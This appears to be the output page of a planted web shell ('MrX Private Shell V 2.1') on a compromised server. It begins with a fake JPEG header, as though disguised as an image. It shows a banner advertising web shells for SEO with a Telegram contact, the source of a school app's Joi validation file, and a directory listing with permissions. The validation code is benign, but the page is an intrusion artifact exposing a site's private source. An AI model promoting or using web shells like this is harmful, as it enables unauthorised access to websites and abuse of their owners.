����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import Joi from "joi";
import { errorMessages } from "../config/Constants.js";
const bilingualTextSchema = (fieldLabel, lang = "en", max = 200) =>
Joi.object({
en: Joi.string().max(max).allow("").optional(),
ar: Joi.string().max(max).allow("").optional(),
})
.custom((value, helpers) => {
if (!value) return helpers.error("any.required");
const hasEn = value.en && value.en.trim() !== "";
const hasAr = value.ar && value.ar.trim() !== "";
if (!hasEn && !hasAr) {
return helpers.error("any.custom");
}
return value;
})
.messages({
"any.required":
lang === "ar"
? `${fieldLabel} مطلوب باللغة الإنجليزية أو العربية`
: `${fieldLabel} is required in at least one language (EN or AR)`,
"any.custom":
lang === "ar"
? `${fieldLabel} لا يمكن أن يكون فارغًا في كلتا اللغتين`
: `${fieldLabel} cannot be empty in both EN and AR`,
"string.max":
lang === "ar"
? `${fieldLabel} يجب ألا يزيد عن ${max} حرفًا`
: `${fieldLabel} must be at most ${max} characters`,
});
export const createQuerySchema = (lang = "en") => {
const messages = errorMessages[lang] || errorMessages.en;
return Joi.object({
title: bilingualTextSchema("Title", lang, 200).required(),
description: Joi.object({
en: Joi.string().max(2000).allow("").optional(),
ar: Joi.string().max(2000).allow("").optional(),
}).optional(),
priority: Joi.string()
.valid("low", "medium", "high")
.default("medium")
.messages({
"any.only": messages.priorityInvalid || "Priority must be one of: low, medium, high",
}),
// classId is now OPTIONAL
classId: Joi.string()
.hex()
.length(24)
.optional()
.messages({
"string.hex": "Class ID must be a valid ObjectId",
"string.length": "Class ID must be a valid ObjectId",
}),
// teacherId is NEW and OPTIONAL
teacherId: Joi.string()
.hex()
.length(24)
.optional()
.messages({
"string.hex": "Teacher ID must be a valid ObjectId",
"string.length": "Teacher ID must be a valid ObjectId",
}),
attachments: Joi.array()
.items(
Joi.object({
name: Joi.string().required(),
path: Joi.string().required(),
type: Joi.string().optional(),
size: Joi.number().optional(),
})
)
.optional(),
})
// Validate that AT LEAST ONE of classId or teacherId is present
.or('classId', 'teacherId')
.messages({
"object.missing": messages.targetRequired || "Either Class ID or Teacher ID is required"
});
};
export const addReplySchema = (lang = "en") => {
const msg = errorMessages[lang] || errorMessages.en;
// Assuming bilingualRequired is a helper you have defined elsewhere
// If not, use the structure below
return Joi.object({
message: Joi.object({
en: Joi.string().allow("").optional(),
ar: Joi.string().allow("").optional()
}).or('en', 'ar').required()
.messages({
"object.missing": "Reply message is required in at least one language",
"any.required": "Reply message is required"
}),
// Optional: Validate attachments for replies too if your controller handles them
attachments: Joi.array().optional()
});
};| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| adminValidation.js | File | 26.86 KB | 0644 |
|
| commonSchema.js | File | 5.25 KB | 0644 |
|
| hrValidations.js | File | 9.55 KB | 0644 |
|
| index.js | File | 3.14 KB | 0644 |
|
| studentValidation.js | File | 3.4 KB | 0644 |
|
| teacherValidation.js | File | 8.99 KB | 0644 |
|
| userValidation.js | File | 7.33 KB | 0644 |
|